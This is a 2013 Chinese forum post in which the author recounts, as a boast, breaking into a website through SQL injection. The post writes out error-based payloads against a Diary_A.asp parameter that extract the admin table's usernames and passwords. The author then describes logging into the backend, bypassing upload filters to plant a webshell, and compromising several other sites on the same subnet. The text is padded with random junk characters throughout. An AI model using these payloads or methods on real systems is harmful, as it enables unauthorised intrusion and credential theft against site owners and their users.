发现一个注入点
8 ^" r3 f/ b8 G) p* f' ]& r: w) Qhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
) g* Y$ g8 G1 b E) \3 a4 @, z
( m$ u7 }9 s& h# R( Z习惯性的加’having1=1--* A k# G- u/ C7 k7 Z
+ J/ N8 x5 g" C( I
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—* A/ w& O" X5 {' p
8 }+ l9 g8 V& d: M/ l& k$ y
0 d6 ?1 }; h" r5 I# n! D9 [9 z
+ h1 V) e: j9 j) t爆出Diary_A.dl_Title（这时候很激动啊）' p/ `# V" H" b/ h4 F0 P% U: x
0 ~* R* J% ^' B: ]3 H那么继续
* I9 N4 ~% C9 s5 ?+ [http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
) Y5 Q1 r F7 w8 I- x4 K$ f, U. n
继续，一直爆下去
( V) O2 C7 @& g9 Y. H& N
1 j3 E: @5 J* y0 U; A爆到几个字段和表段 但是没找到需要的管理用户的字段
; F* w1 R- w. u+ B* L* S
, [4 w9 t U7 p) ^ ]1 g& h蛋疼了 怎么办 然后去后台登陆页看源码
5 b' c0 c, Z9 W; f5 w* j; G9 [7 z( r4 R) s# F5 I% j
0
5 z% W% ]% Q% a" H9 H
. |3 G" C6 K5 r9 T7 k* ^3 PInput name= “ADUID”
% U0 \0 _4 ]6 D: wInput name= “ADPWD”
: v/ P, Q. A- i/ E- t- m) q" B4 \- ~/ t! Q4 t3 l/ c6 x8 J4 r
很幸运 找到了字段那就继续
5 m) Z* m9 N, j6 W/ }找到之后开始爆用户
* ~ a) C4 t& D; o( Ahttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—! N% e0 X/ e( B4 ^! K* \
爆密码4 D' k7 U6 n- Z5 C* |- f: h1 r F
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
" }! C+ p* n8 o# ~& d3 i测试了下 这个注入点只能爆到文章哪里的表 2 a4 t0 I$ P' q5 Z1 ^8 c; ?
/ b- G) W8 z/ o. A: {3 ^0 W! ?% r头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了" s( [" _$ R7 E f8 a! m* w
: Y- q1 Z0 [1 A; e; x8 |- I
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
+ m7 U+ Q0 ]+ }+ P; B
+ _9 e% A O% E7 ^0 h473
|# @1 d; P \ M; s) |8 j6 C8 M& y
进后台# ^! y4 N+ Q2 }- @# P
, E( T: z# u$ H% g' L/ `6 i F- I$ T- Q& |
发现几个上传点 有的地方不能上传 而且防止恶意代码0 h( b' A' h. P0 i) V
! r! c9 R: I( y: t2 Q
没办法 各种百度各种找大牛 找到一只好像可以突破的马
2 ^7 G6 j% A1 J. J, q. u3 ~. a, ?" K8 u& I4 m9 O. D7 a
- V \0 n* m3 U/ E/ e, H在系统管理那里直接上传 不过没有显示地址: D+ _! B" B h( l
* M9 M# [3 \3 c2 W
再上传一次 抓包 搞定OK/ {: `0 t4 X% Z7 I* l
r) F+ y4 ]7 A( o/ o8 f, _/ b8 ~( [& ?! v" P9 }0 o
: F0 Z/ J4 F' r# N
472
2 i# N" @ j3 }$ }3 q$ X& \, h! N' w! C" e1 @0 z( a5 Y
晚上不行了 去睡觉。。。) P g- e$ t$ i1 {
第二天刚起床 闲的没事做继续日站吧 8 ~6 m( \7 T5 O/ A/ ^ w3 r
( Q& P) F( G. i& T3 h- Y* M
找个站 就把这个站的旁c扫了下
5 g$ y$ g2 q; W
h3 ~" }/ J- H, u/ `5 j: h发现c段也有一个购物站 ，然后还和这个站的模板差不多3 V9 \+ s* w% g5 p; M" o
: `9 R8 ~. \% X$ U" Z7 }8 }" ?" U
就找到会员登录口测试; j/ a$ w6 v q7 L5 P, U+ S
- T/ P4 G4 Q. f7 g+ H# h$ i
'and (select top 1 MGR_UID from A_MGR)>0—
% Y& v; N8 I/ P! o ]果断爆到了 这时候我很激动 通杀( v4 m7 w: @3 ]- i$ {* C
, F( s4 f1 ` x6 h再次翻c段
! h L$ V3 e- n6 U- x
4 h' [! D- g* x3 @翻出几个站 都成功拿下+ ^2 L$ \( R% |' ]" [' N
# L. h) Z- m2 }. a4 b# _+ E; W
+ O! Y5 J$ f( u' l* T6 ~- t4 H) [% q0 `& a* V, v4 X4 ~6 ^
修复方案：4 a9 q( J9 l( p. A( g* Y7 ]
他们比我专业
, k' ?! a4 E/ q! ]
/ F; z- ~3 x9 Z% U$ O9 _9 A+ y) b5 |' o' o5 I, t5 l. N
2 h8 p6 r t9 a7 l' T' |8 I |
发表于 2013-4-4 17:40:38
收藏
支持
反对